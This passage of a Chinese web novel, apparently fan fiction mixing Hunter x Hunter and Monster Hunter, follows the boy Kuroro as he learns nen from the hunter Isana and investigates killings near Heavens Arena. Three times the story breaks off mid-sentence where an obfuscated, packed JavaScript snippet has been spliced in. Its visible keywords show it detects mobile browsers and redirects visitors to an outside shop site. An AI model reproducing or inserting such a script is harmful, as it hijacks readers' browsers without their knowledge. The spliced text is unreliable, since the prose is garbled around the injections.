“怎么,你想以这个为目标?”青年手抵下巴思考着,“每隔几年它们都会泛滥一次,成为大怪鸟狩猎专家也很赚钱的。” “……请不要开玩笑。” 库洛洛无奈地笑了一下。 这个人只要提到狩猎,就开始不着边际地左右联想。 但让人讨厌不起来,不如说正相反。 心情好像轻松了一些。 —— 第二天清晨。 伊萨纳将素材打包完毕,来到昨日行翼龙盘旋的区域,却发现那两头翼龙都已经乖顺地站在地上。 “嗯?” 他疑惑地看去,发现库洛洛正在给其中一只爪子上的套索加上固定绳。 “啊,伊萨纳先生。”少年转过头,对他打了个招呼,“翼龙也准备好了。” “什么准备?” “我加了条绳子,应该能起到马匹缰绳的作用,”库洛洛解释道,“这样它们就能去固定方向以外的地方了。” “什么……” 真的有这么简单吗?距离库洛洛离开帐篷这才过了不到半个小时,这么短的时间不可能驯化野生翼龙才对。 但他不打算问出口,年轻人总是需要尝试的。 哪怕失败了,被带去很偏远的峡谷荒漠,他一个人也能带着库洛洛跑出去。 伊萨纳做好了这样的准备,而没过多久,当他们真的搭乘翼龙飞到附近的城镇后,这种打算就尽数转化作震惊。 他一路上都在回头,表情就跟看到库洛洛烤肉成功时一样。 “你到底是怎么说服它们飞过来的?”直到进了城内,他还是望着那两头盘旋在城外的翼龙,一脸没想明白,“难道你能跟它们沟通吗?” “那怎么可能,”少年笑了笑,“我只是喂了它们一些怪鸟的内脏,它们觉得跟着我就还有东西吃。” 而且派克诺妲养着一些流浪动物,大家时不时会去看看,久而久之,他也学会了不少喂养经验。 “难道这就是天生的才能吗……”伊萨纳叹了口气,“不过,它们不喜欢我也正常。” 青年说着抬起头,张望附近的店家,声音变得微不可闻。 “毕竟我杀了太多了。” —— 将怪鸟的素材出售后,两人就开始在城镇上搜寻起卖书的地方。 “卖得最贵的居然是怪鸟皮。”库洛洛翻看着随手记下的信息,“我还以为会是火炎袋。” “热衷于享受美食的人一直很多。”伊萨纳说,“而且这么新鲜的怪鸟皮可不多见。” “他们有这么喜欢吗?” “嗯,了解他人的欲望,说不定会起到意料之外的效果。” 库洛洛若有所思。 两人就这样有一搭没一搭地说着,在城镇间走了一会儿,忽然看见有几个人吵吵嚷嚷地围在街道角落的告示板前。 走近一看,上面贴着一个悬赏任务。 “悬赏附近森林里栖息的‘眠鸟’,赏金五…百万戒尼。”伊萨纳想了一下,看向库洛洛,“这个数字是高还是低?” “明明刚刚才卖掉了素材,现在却说出这种话吗。” “抱歉,我不太会算账……” 想来也是,大多怪物素材都很昂贵,哪怕低价卖出也不会缺钱,所以对怪物猎人来说,“卖东西”这件事本身的新鲜体验可能比价格本身更重要。 库洛洛只能解释道:“赏金非常高,高到不像是这个镇子能掏出来的地步。而且,眠鸟根本不是破坏性强的动物,高价悬赏它的原因本身也很值得在意,估计是为了稀有胃石去的吧。” 眠鸟会吞下石头帮助自己消化食物,其中有些石头会在它胃部经年累月的运作中,磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248095|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炼出比宝石还华美的光彩。 “居然千年后也有人喜欢啊,”伊萨纳有些感慨,“那个时候的贵族们就很喜欢这些漂亮的小东西,发了好多任务。” “你会接吗?” “感兴趣才会,但一些是通过集会所发来给我的定向指派,推不掉,也是挺麻烦的。” “……定向指派?” “嗯,算是太出名的麻烦,很多贵族,甚至是王室成员,会把我当成狩猎奇珍异宝的最优解。” 那多半不只是想要宝物那么简单。库洛洛心想。 为了自己的私欲去差遣当时最强的怪物猎人,本身就是满足虚荣心的最佳方式。 如果伊萨纳现在也成为职业猎人,不,只要散播了名声,就会面临相似的情况…… “不要想那么多,表情好可怕。”伊萨纳摸了摸他的头,“我没那么好对付,有一回直接把泥鱼龙引导到贵族精心修建的池子里了,他们也不敢追究。” 想象着那样的场面,少年也跟着笑了一下。 “那么,伊萨纳先生,”他说,“仅仅是被差遣的时候,你又是为了什么去完成那些狩猎的?” “一定要有理由吗?”伊萨纳有些无奈地看向他,“大概和你差不多吧。” “和我?” “在这个世界上寻找自己的位置,想做和不想做的事情都得去做,大概就是这么回事。总之,这个颁布任务的镇长大概是打着如果找到胃石就抢走,如果找不到就赖账的主意。”伊萨纳说,“以前也有过这种事,别管就好。” “……但我想试着狩猎。”库洛洛喃喃着。 “你想吗?” 怪物猎人有些意外。 但看着少年认真的表情,他最后还是点点头:“我知道了。” 很快,拿着悬赏令的两人就找到了当地的镇长。虽然只是小镇里的宅院,却藏着私兵,怪不得有底气。 在接下任务,又从附近的商贩那买了几本书后,两人再次回到原生林。 “刚才那个镇长给你的地图是真的吗?”伊萨纳问,“他大概希望猎人耗尽体力,所以会指出错误的路线。” “不知道,”库洛洛摇摇头,“我没看。” 然后借着伊萨纳和委托人聊天的机会,从抽屉里偷到了真的。 少年在林间搜寻眠鸟的踪迹,眼神留意着地面的爪痕,脑海中也想起关于这种怪物的情报。 有种说法,眠鸟(修谱诺克)的睡眠吐息所带来的并非一般的昏迷,而是致死的永远之梦,会将入睡之人送到另一个世界,所以极少会有人主动招惹它。 “大概那种吐息里有神经毒素。”库洛洛分析道,“所以那些人才迟迟不敢接下任务。” 哪怕现在有防毒面具,但大型怪物的毒素,多少还是过滤不完的,唯一的办法只有及时避开。 “你想的没错,”伊萨纳将目光放在不远处树干的刮痕上“不过除了毒素之外还有些别的。” “那还有什么?” “你猜猜。” 少年沉默片刻,很快就找到了答案: “怪物也拥有念能力……?也是,这本来就不是人类的特权。” “真聪明,不过准确来说那不是能力,只是‘念毒’,和个体差异极大的人类不同,怪物只是遵循本能使用生命能量而已,除了极个别外,不会出现和种群有太大区别的个体。” 也就是说,人类依旧可以通过经验占据上风。 “说起来还有一个无关紧要的知识,”伊萨纳接着道,“眠鸟其实是古代鸟类‘波尔多尔’的近似种。” 库洛洛微微睁大眼睛,他对这个词有印象,那是世界七大美色之一,波尔多尔的极彩石。 “啊,难道传说中的‘极彩石’指的也是……” “没错,波尔多尔和眠鸟都有将石头吞入胃中辅助消化的习性。” 在长期打磨后,会有概率产生出极彩色的个体。 “据说这些胃石散发着神圣高贵的流光,所以能卖出比任何宝石都更高的天价,甚至在某个时代,它曾经是王族权利的象征,再有钱也买不到。” 伊萨纳说着,注意到林间眠鸟的气息,停下脚步,示意他做好狩猎开始的准备。 “所以,它们灭绝了。” 11.第十一章 高耸入云的巨型树木,幽暗潮湿的环境。 库洛洛认得这个地方,这里是流星街附近的森林。 不过,我为什么会在这里?我不是应该在…… 在哪来着? 他非常困惑,但脑袋像是被卡住了一样,怎么也想不起来,索性转而思考起别的事,比如从这里出去的方法。 树隙间感受不到风的流动,天色昏暗,空气闷热。 要下雨了。 得赶紧回去。 少年遵循记忆,开始往流星街的方向跑去。 但是跑了一会儿,他看到了熟悉的树木,发现自己又回到了原地。 “为什么?” 这个状况实在太过异常,于是他停下来,试图察觉出问题所在。 而就在这时,库洛洛忽然注意到面前的树上挂着一个东西。 在高悬的树枝上,挂着一个看起来沉甸甸的布袋,暗色的液体不断从里面渗出来,一滴滴落在地面。 周围一片死寂,连鸟虫的鸣叫声都不存在。 这里没有除他之外的生命,一路上也没有见到影蜘蛛的蛛丝或者其他痕迹,只有液体坠落的滴答声。 那个口袋里,装着什么? “嘭!” 绳子忽然断了。 麻布袋子掉在了地上,微微敞着口,依稀能看到里面的内容物。 少年忽然感觉心脏一紧,但他还是做了个深呼吸,走上前去。 然后。 他看见了自己同伴们死不瞑目的头颅。 “……” 窝金、侠客、派克诺妲…… 一张张熟悉的脸全都露出了死亡时的痛苦表情,而被放在最外侧的萨拉萨的脑袋上,被人用钉子钉着一张纸条。 库洛洛将它拿起来,但还没来得及看清任何一个字,那些漆黑的墨水就融化了,逐渐化作波尔多尔们死不瞑目,张开喙部的脑袋。 然后,画作从纸张里掉了出来。 一个接一个。 一个接一个。 从纸张里窜出来的波尔多尔们很快就变得漫山遍野都是,无数只惊恐的眼睛朝着极彩色的天空看去。 天地间,无尽的头颅间只剩哀伤而怨恨的啼鸣声,揭露人类的罪行。 库洛洛感觉自己的身体正在失去温度,而就在此时,他忽然听到一个熟悉的声音。 “接好了。” 那个声音说。 紧接着周围的景色开始褪去,波尔多尔消失了,布口袋也不见了,少年仿佛整个人掉进棉花般,浑身一松。 “呼……” 他满头是汗地醒了过来,发现自己躺在帐篷里临时搭建的小床上,周围能听见原生林里熟悉的鸟鸣声和风声。 原来刚刚是在做梦。 那个梦境实在过于真实,以至于他现在都有点想吐。 现在想想,如果没有影蜘蛛的恰好到来,他的同伴们可能的确会面对这么残酷的结局。 “……我怎么?” 库洛洛缓过神来,他总算恢复了四肢的知觉,这才发现盖在自己身上的不是被子。 而是一大团紫色的、质地像是海绵一样的东西,沉甸甸的。 不知道是因为太重了,还是噩梦的残余,他觉得都有点透不过气,于是移开这团海绵坐了起来。 然后,就对上了站在床边的伊萨纳微笑的脸——那人还维持着张开双手,将海绵扔下来的姿势。 “莽撞和冲动,有时候是愚蠢,有时候也能成为突破口。”青年轻声问道,“那么,你是哪边呢?” 虽然那个笑容和以往差别不大。 但不知怎的,库洛洛觉得他现在好像不太高兴。 “不说话?那至少先回答我一个问题,”伊萨纳收回手臂,语气平常地问,“你现在应该好点了?” 直到此时,库洛洛才想起来,自己原本是在狩猎眠鸟。战斗本来已经接近尾声,自己却被它的睡眠吐息迎面击中。 眠鸟的习性虽然与大怪鸟有相似之处,狩猎难度与凶暴的程度却比大怪鸟高了不止一个等级,实际上不是现在的他能应付的猎物。 “抱歉,”少年低下头去,“是我选错了对手。” “不用道歉。”伊萨纳说,“既然你是故意的,就没有对不起别人。” 果然瞒不过他。 库洛洛刚想接着说点什么,忽然看见面前的青年做了个噤声的手势。 “你的气在流失。”伊萨纳简明扼要地说,“集中注意力,将它们收回来,包裹在身体上。” 然后,库洛洛就看到一层半透明的,黑紫色的不祥之气从青年的心脏处渗出来,逐渐覆盖了他的周围。 “……” 这就是念。 当时玛奇看到的东西。 将信长震慑住不敢攻击的东西。 这世界上,几乎一切超常力量的来源。 而现在,他也能看到了。 过了没几分钟,当库洛洛学会调整周身流转的气,让它停止流失后,就听到伊萨纳拍了拍手。 “可以了。” 这个怪物猎人没有用一贯漫不经心的态度,而是略显严肃地说着。 “现在你正式拥有了成为怪物猎人的条件,恭喜,但是回答我一个问题吧,故意中眠鸟的吐息,是因为你知道这样可以强行开念吗?” 看来这个问题是逃不过去了。 这个人,貌似对孩子的性命看得尤为重,之前出手打伤了车站处试图对流星街人不利的匪徒,也是因为那人把枪口对准了自己。 “是的,”为了回应这份保护,库洛洛如实回答,“因为我想这么做。” “为什么?你想变强吗?” “为我自己的目的。” “不能告诉我吗?” “嗯。” “是吗,那就没办法了。” 伊萨纳也没有逼他继续说,只是自言自语般地嘀咕完,就拿起那块被掀开的紫色海绵。 然后,上前把少年裹了起来。 “眠鸟的睡眠吐息里,不止有用以提升麻痹效果的念毒,还含有神经毒素,会让人产生幻视、幻听和癔症,”青年压低了声音,“紫水兽的海绵中的毒素可以作为药物,中和这种效果,所以如果你不想留下后遗症,明天早上天亮之前都不许把它拿下来。” “我知道了,”库洛洛难得从对方的话语中感受到一丝强硬,只能乖巧点头,“你是怎么 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现在想来,当时的他们所进行的战斗,就是拼上性命的念能力修行,所有人都在实战中成长。 “不过在气的强度上区别还是挺大的。”伊萨纳说,“你还记得原生林边缘的那处数百米高的悬崖吗?我观察过几个拥有念的人,能完好无损跳到崖底的,恐怕只有少数。” 如果他们的实力就是现代猎人的常态,那大概只有登封造极的个体才能从山顶上跳下来了。 库洛洛问:“以前不是这样?” “以前从高处坠落而不受伤是怪物猎人的基本功,之所以造成这种差异,难道和气候或者地形的变化有关……”伊萨纳想了想,很快就放弃了,“不过,现在的交通工具和科技都比以前要发达,可能也没有直接跳的必要。” 他的话,让库洛洛也陷入一阵深思。 比如为什么性格豁达的伊萨纳,刚才展现出来的气却是不详和恐怖的气息。 难道这也是千年前与千年后的差异? 随后,猎人说着事不宜迟,就开始对他讲解起几个基础的运用念的方式,当然,主要都是一些能运用到旅行生活和狩猎中的技巧。 两人到帐篷外吃了晚饭,聊着天,天色很快就变暗了。 库洛洛试着用“凝”加强了视力,注视着夜空,辨别星星所展示出来的方位,他看到了猎户座,还有其中苍蓝色的参宿七,那颗星星本就明亮,用念仔细观察,更是亮得惊人。 “苍蓝星……” “嗯?”库洛洛没听清,回过头,“你说了什么吗?” “什么也没有,”伊萨纳说,“我先回帐篷了。” 少年感到一丝疑惑,明明这个人一直很喜欢看着天空发呆:“今天天气难得特别好。” “我就不看了。” “是吗……” 但疑惑归疑惑,库洛洛没有说出来,因为他发现伊萨纳那一向不在乎什么的倦怠眼睛里,居然出现了一种复杂的负面情绪。 “明天我们去什么地方?”他问。 “交给明天的心情吧。” 伊萨纳头也没回,随意地摆了摆手。 “反正这趟旅行还很长。” 12.第十二章 秘境。 令人向往、难以抵达的神秘之地。 通常隐藏在自然界中,吸引着无数猎人前去探寻未知。 然而鲜有人知的是,就在猎人协会大楼内部,也有一个秘境。 某日清晨。 当猎人协会的会长,艾萨克·尼特罗走到办公室正中央挂着的书法挂画前时,他伸手敲了敲那个巨大的“心”字。 墙面顿时泛起一阵眩晕般的涟漪。 “是老夫。” 话音落下,“心”字上就静静出现一个黑色的洞口,大小差不多能让一个小孩爬进去。 尼特罗皱着眉头继续敲了敲墙:“入口开太小了!你当老夫跟你一个个头吗?” 紧接着,洞口像是不耐烦般瞬间扩大到整个墙面。 “这还差不多。” 尼特罗抬起脚步,向前迈出—— 咔哒。 木屐落地。 踏入黑暗的瞬间,身后的办公室消失无踪。 在这个不知边界在哪的昏暗空间内,只有铁器相击产生的火花在不停闪烁。地板、墙壁和天花板上,无数千奇百怪的金属零部件被随意摆放着,令人眼花缭乱。 “铛、铛!” 不远处传来敲击锤子的声音,其中还夹杂着散热扇的呜呜声。 无论看多少次都很神奇,尼特罗摸了摸胡子。 与常规的空间系念能力不同,这个地方真实存在于猎人协会内部的某处,但由于秘境本身拒绝着他人造访,所以谁也发现不了,需要它的主人亲自开门。 在四下打量一圈后,猎人协会的会长气定神闲地揣着手,绕开那些乱七八糟的零件,跳过地上的陷阱,来到火花亮起的地方。 “老夫来了。”他打了个招呼。 那里站着一个极为矮小的身影,面对工作台与熔炉挥舞着锤子,打造一架不知道是长枪还是长矛的东西。 “尼特罗。” 秘境的主人头也没回,用一种古怪而老成的嗓音说着。 “我记得你的窗台上本来放着一个花瓶,它去哪了?” 尼特罗挑起一侧的眉毛:“什么花瓶?哦,你是说老夫养的怪力草。” “它不见了,是养死了吗?” “谁知道,有天老夫发现叶片上长了些黑色的东西,拔下来又很快长出来,然后……” “然后?” “老夫出了趟远门,回来后窗台上就空空如也,可能是被豆面人处理掉了。”尼特罗找了片空地,席地而坐,“你要是想知道,下次老夫问问。” “让他自己来吧,那小子人还挺不错。” “豆面人可不愿意单独见你,他一听到‘会长的旧友’就要吓跑咯。” “……哼,”矮个子停下打铁的锤子,“那棵怪力草肯定会恨你,明明看到它生病了却无动于衷,活活看着它病死。” “别瞎说,老夫还挺中意那棵草的,如果不是突然有事离开,本来打算把它交给植生研究所。” 会跟人类玩角力的念植可不多。尼特罗想。要是养大了不知道该多有意思。 “行了。”秘境的主人放下工具,用一旁的毛巾擦了擦自己毛乎乎的手,“说正事吧,找我有什么事?” 他动作极轻地跳下工作台,坐到尼特罗对面,还给自己倒了杯茶。 尼特罗抱起手臂:“是前段日子前往波凯地区的轰龙讨伐队,他们回来了。” “狩猎成功了?” “算是。” 空气稀薄的高山雪原间,当接下任务的猎人们好不容易赶到事发当地,一边行进一边商讨战术,却发现波凯当地的居民们已经开始回收轰龙素材。 猎物已经被狩猎完毕,他们扑了个空。 “这已经是两年来,第四次发生类似的情况,”尼特罗说,“不满集中爆发,所以这几天老夫估计都要通过你这出门咯。” 搞半天,这人只是来躲清静的。 矮个子摇摇头:“让他们闹去,竞争这么激烈,猎物被人抢了只能说是技不如人。” “他们投诉的就是协会的审查部门,说花的时间太久了。”尼特罗挠了挠头,“但大多数边境地区都说符合资格的猎人才能出入他们的地盘,尤其是波凯地区的那群老顽固,他们懒得自己审查,把事情都交给协会。” “别忘了你当年修行有所顿悟的时候,就是在波凯地区的雪山上。”矮个子抿了口茶,“现在报个恩怎么了。” “吵死了。” 尼特罗嘴上抱怨,却有些怀念地笑。 “话说回来,你刚刚问老夫要怪力草做什么?” “……看这个。” 矮个子指了指身后熔铁未冷,尚且冒着热气的巨大长枪。 “好气派的武器,这是什么?”尼特罗问。 “古代击龙枪的模型。” 秘境主人的语气带上了几分自豪。 听说卡金国先一步钻研出了古代沙船的运作方式,看来是不服,在争口气。协会的会长摸了摸下巴。这就解释得通了。 “现在没有古代燃石炭来制造超高压蒸汽,你想用怪力草的叶子做原料。” “没错。” 为了击穿那些超大型古龙种覆盖着磅礴的念的皮肤,仅仅是电力驱动武器可不够,得用上珍稀念植。 “真是怀旧的做法。不过,击龙枪的事一会儿再说,”尼特罗摆摆手,“老夫听到一件事,那个先协会一步狩猎了诸多大型怪物的家伙,貌似自称怪物猎人,还带了个随从。” 明明有生物调查猎人、幻兽猎人等现成选择,却还是特地自称“怪物猎人”。 矮个子眯起眼睛:“真是好大的胆子,他在哪?” “不知道,上一次被目击是在莫加地区西侧,现在又跑到巴托奇亚共和国的北部,可能没什么固定的规律。” “身份记录呢?” “负责调查的黑客猎人没查到任何线索。” 也就是说,多半是从流星街来的。 矮个子摸了摸下巴:“那就随他去吧。” “我也这么觉得,”说到这,尼特罗眼睛不怀好意地眯起来,“不过,根据这次的情报,有个被救下的当地居民听到了那个怪物猎人的名字,好像是叫‘伊萨纳’。” “……” 寂静。 随后,空间微微颤动,挂在天花板上的零件开始叮叮当当地响。 周身的空气像是被抽走一样倒流,紧接着,尼特罗就看到面前旧友身上爆发出磅礴的念。 “你说什么……那个人叫什么?”一字一顿地问。 “老夫可没有老糊涂到记错名字的程度。” 尼特罗一脸轻松,起身走到旁边,观赏起那把刚做完的击龙□□型。 “这个给我吧,老夫要把它摆在办公室里。” 然而愤怒到极点的秘境之主已经听不见他在说什么了。 只见他展露出与人类完全不符的尖牙利爪,眼睛里也是一片混沌的色彩。 “我们走着瞧,居然……” 那语气就像是在嚼碎骨头。 “居然敢盗用老大的身份和名字喵!!” —— ———— 伴随早间的鸟鸣,一辆列车驶入了山中隧道。 这里是天空号旅游专线。 车如其名,是通往天空竞技场的单程专车,沿途风景优美,车内服务周到,虽然价格高昂,但游客依旧络绎不绝。 尤其是每当到了旅途后半,出了隧道后,就能看见接近千米的高塔巍然耸立在群山环绕的都市中的绝景。 火红的太阳给那座人类欲望的结晶染上一抹炫目的渐变色,美得震撼绝伦,朝窗外看去的人们纷纷发出赞美的感叹。 而一到这个时候,他们就会忽视很多东西。 就比如车内提示到站时间的广播、越来越大声的交谈、以及,有人偷偷顺走了自己的钱包。 “……” 伊萨纳无言看着旁边发生的一切,在那个压低帽檐的惯偷路过自己时,顺手把钱包拿了回来,又悄无声息地扔回失主的桌上。 做完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262640|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一切,他也和其他人一样看向窗外,又轻轻打了个哈欠。 乘坐专线列车是很有趣,但是行驶时间也太长了,有点犯困。 “为什么这么做?” 听见了一个问题。 伊萨纳“嗯?”了一声,看向对面座位上正在看书的同行人。 和风尘仆仆的猎人相反,这名十四岁左右的少年穿着一身简练的白衬衫与黑裤装,黑色的短发也修剪得相对整齐,气质沉静。 “因为,偷窃行为是违法的?”伊萨纳有些不解。 库洛洛翻了一页书:“需要我提醒你,我们也是逃票上来的吗?” “那是没办法,这条专线的车票需要身份证明,我们又没有。而且,我已经把钱偷偷放在柜台了。” “是吗。” “才过去两年,到底为什么变化这么大呢,”伊萨纳叹了口气,“明明刚开始还是会跟在我身后叫着‘伊萨纳先生’的可爱孩子,现在就开始冷漠了,难道是叛逆期?” 最遗憾的是,身高也成长了很多,不像艾露猫了。 “我觉得,变化更大的是你。” “我?” 库洛洛解释道:“遵守规则可没办法随心所欲地狩猎,我不明白你为什么这么做。” “这不冲突,之前也说过了,我喜欢人类。” 车辆转向,阴影投在伊萨纳那张微笑着的脸,金红色的倦怠眼睛在暗处微微发亮。 “喜欢什么东西,就遵守对方的规则,我是这样想的。” “这么说,你之前动不动就将我抛下几周,自己消失不见的行为,也是这种喜欢的表现?” “那是得到了新的怪物情报,一不小心……”猎人有些心虚地移开视线,嘀咕道,“而且你在城市里进行社会学习的时候,我一直呆在旁边只会碍事。” “……我知道了。” 库洛洛结束了这个话题,视线却依旧看着伊萨纳的脸。 那张总是露出豁达表情的青年面孔。 虽然短短两年在成年人身上本就几乎看不出痕迹,但是这个人,连头发的长度都没变。 他对自己的观察力很有自信,更何况离得这么近,能确信这绝非错觉。 然而库洛洛没有提出来,他只是目光平静,不着痕迹地低下头,继续看向手里的最后一页书。 【我们的欲望并非源自内心,而是通过模仿他人而产生。 我们想要的,不是那个东西本身,而是因为别人想要它。 欲望的本质属性,即为模仿。】 “天空号专线即将到站,感谢您的乘坐……” “伊萨纳先生,”听见即将到站的播报,少年将书随手放到一边,“天空竞技场的‘天空’一词,和天空山有关系吗?” 天空山。 千年前,伊萨纳前去讨伐天廻龙,与其决一死战的高空魔境。 “没有关系。那种地方就算过去千年万年,也不会突然变成宜居的平原城市。”怪物猎人想了想,“应该只是名字用了同一个常见的词。” “那既然没有关系,你为什么突然中断对怪物的调查,要来这种城市?” “因为收到了狩猎委托。”伊萨纳说,“是用翼龙送过来的委托信,也不知道是怎么找到我的。” “……委托?” “你感兴趣?” “感兴趣的话,你会让我参与狩猎吗?” “明明不想以狩猎大型怪物为生,却还是想跟我抢夺猎物。”伊萨纳有些头疼地感叹,“真是贪婪的小鬼。” “抢夺……应该算不上。”库洛洛说,“我对猎物没有兴趣,只是因为跟你一块狩猎很开心。” “那你也成为怪物猎人怎么样?我很乐意成为你的教官。” “不需要。” 听见预料之中的回答,伊萨纳无奈地笑了一下,忽然注意到窗外,在城外森林的某处飞起几只翼龙。 “……” “怎么了?”库洛洛问。 “没什么。”青年站了起来,“下车吧。” 13.第十三章 楼高991米,世界第四高的建筑物——天空竞技场。 只要战胜对手,就能得到金钱和荣誉,令全世界的武斗家和格斗观众热血沸腾的地方。 由于这栋建筑实在显眼,没费多少时间两人就来到竞技场前的空地。和热闹的高楼不同,这里只有零星几名游客,坐在花坛边休息。 “你在看什么?”库洛洛问。 “我想起来了,”伊萨纳站在楼下,向上张望着,“千年前,有些有钱人就喜欢围观怪物之间进行领地争夺,还特地为此开设赌局。” 现在只是角斗场里的东西从怪物变成了人而已,本质上一点没变。 “你参加过吗?”库洛洛问。 “算是吧,因为很妨碍狩猎,我一般会把所有人连同怪物一块赶走。” 为此还收到不少投诉信。 两人正有一搭没一搭地聊,忽然听见一阵急促的鸣笛由远及近地传来。 转头看去,一支医疗车队正在穿过街巷,正在火速朝着城市另一端开去。 从城外驶来的,目的地应该是医院。 “我先去安保局了解情况。”伊萨纳说,“如果你真的对这次狩猎感兴趣……” “我知道了。”库洛洛干脆利落地点头,“中午前汇合。” 说完,他的身影就消失在原地。 “念的修行,进步真快啊。” 伊萨纳眺望着他消失的地方,轻声喃喃着,随后同样离开了天空竞技场。 片刻后,他走进当地的安保局大门。 还没来得及开口,就听到身后先一步传来慌张的声音。 “大、大事不好了,局长,又有人死了!” 从门口跑进来一个穿着制服的年轻人,差点撞到伊萨纳,被后者及时侧身让开后,匆匆跑到最内侧的柜台前。 “慌什么,我已经知道了。”局长一脸不耐地放下电话,“写你的报告去,我能有什么办法?” “可是这次死的是外来佣兵团,上面已经要求上升为一级事态——” “是‘黑影’干的吗?” “……哎?” 年轻的安保员闻声转过头,这才注意到站在自己身后的黑发青年,一个趔趄,吓得差点向后摔倒。 黑色斗篷,旅行装束,怎么看都只是个普通的旅人,但直到这人开口为止,他什么都没注意到。 “你怎么知道犯人的别称叫这个?”身材发福的局长皱着眉问,“等会儿,你是谁?不对你怎么进来的?保安呢!” 面对连珠炮般的问题,青年只是无言地递上委托信,局长接过,神色不耐地看了一眼。 但上面的委托内容,的确是他自己写的。 得知是自己早前委托的,传闻中能解决怪物的猎人后,局长狐疑地看着眼前还很年轻的伊萨纳,有些不情不愿地改变了态度。 没过多久,伊萨纳就从对方的描述中明白了目前的状况。 将近一个月前,一只大型怪物忽然袭击了天空竞技场的高楼层,对着正在战斗的现场破窗而入。 由于撞击破坏了电力设备,再加上当时正处于黑夜,没人看清它的全貌,但有不少观众都目击它飞向了森林。 那头怪物通体漆黑,只有眼睛在黑暗中拖曳着一道红色光芒,因此安保局内部给它起了“黑影”这样一个称呼。 在那之后,天空竞技场就对怪物发起了通缉,接下任务的先是武斗家,然后是佣兵团。但他们要么没有发现敌人,要么就是伤亡惨重地回来。 别说战果,到现在都连一点情报也没有。 “也就是说除了最开始那次之外,之后的伤亡都是发生在狩猎中途的?” “对。” 伊萨纳点点头:“我明白了。” “你要去狩猎吗?” “不,只是调查看看。” 或许是那副漫不经心的表情惹火了局长,他猛地一拍桌子,叫嚷起来:“别开玩笑了,这边可是不停地有人死于事件啊!” “是事故才对吧?” 连敌人是什么都不清楚就冲进森林,按照事件处理的逻辑,也顶多算是自杀。 也就是说这是事故,不是事件,就跟掉下悬崖没什么两样。 “这……这态度算什么猎人!” “算怪物猎人啊,老板。”伊萨纳无奈地笑,“你不也是,不想把天空竞技场交给你们的钱付给高价的职业猎人,所以不停地请普通人去送死吗? 这种时候,就别抱怨自己找的人不够合心意了。” 被那双仿佛能看透想法的金红色眼睛所注视,胖局长顿时哑口无言,只能头顶冒汗地低下视线。 “那就这样,我先走了。” 青年语调随和得就像和朋友告别,转身离去。 而就在安保部门这里发生交谈的同时,城市的另一边。 库洛洛一路跟随呼啸而过的医疗车队,来到了当地的医院。 只要用绝尽可能减弱气息,然后用常人无法察觉的速度前进,就能避开绝大多数视线。 潜入过程没有花什么力气,或许是刚刚送来的伤者太多,整座医院都处于一种忙得不可开交的状态。 伊萨纳让他过来的初衷,大概是想让他从轻伤者和医护的口中打听情报。 但库洛洛心里清楚,有个地方的情报更多。 他一路向下,来到了医院的最底层。 ——停尸房。 推开门,冰冷的空气迎面扑来,刺鼻的药水味也掩盖不了血腥与腐败的气味。 少年面不改色,从柜子里拉出几具尸体。 能看见受害人们定格在困惑表情的脸,他们的头脑都相对完整,然而往下的部分,肌肉和胸骨都被极平整地割开,内容物在裂口处隐约可见。 好像是在证明,人类只是塞满了东西的皮囊。 库洛洛沉默地将尸体推了回去。 一连好几个,都是相同的状态。 那头怪物下手非常利落,应该是一击毙命,别说发出惊呼,就连意识到自己即将死亡的恐怖都感受不到。 比起被怪物所杀,更像是被某种利器所害。 ——暗杀者? 想到这个词的瞬间。 尽管没有听见任何声音,但是库洛洛忽然感到一阵异样的凉意浮现在脑后。 “……” 吐出的空气在停尸间内凝结成霜,又迅速消散。 那充其量仅仅是一瞬间的违和感。 但是一旦有所察觉,就再也无法漠视下去。 视线。 近乎完美的绝。 ——有人正在盯着他。 那视线极为纯粹,没有参杂恶意,敌意或者杀意等多余的杂质,就像被没有生机的人偶盯着一样,甚至因为感觉太淡,几乎让人怀疑是不是自己的臆想。 库洛洛没有回头确认。 他只是动作自然地推回最后一具尸体,然后转身离开了停尸房。 向前走,离开医院。 视线紧随而至。 走上街道,混入人群。 视线紧跟在身后,甚至逐渐变得露骨。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268719|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也就是说,对方亦察觉出被他发现的事实。 “被盯上了……”少年漆黑的眼里没有任何波动,自言自语地喃喃,“为什么?” 自己刚来这座城市还没一会儿工夫,过去两年的行动也一直保持谨慎,至少不至于让人请这个程度的暗杀者来对付。 毕竟优秀的人才,都很贵。 难道是盯上了伊萨纳? 如果仅仅是四处狩猎怪物,也和人结仇到不死不休的地步,那他倒要佩服那个人了。 总之,一头雾水。 “伤脑筋啊。” 话虽如此,在这超出掌控,随时会莫名其妙失去性命的恐怖中,年仅十四的库洛洛就像是毫不在意,神色自若。 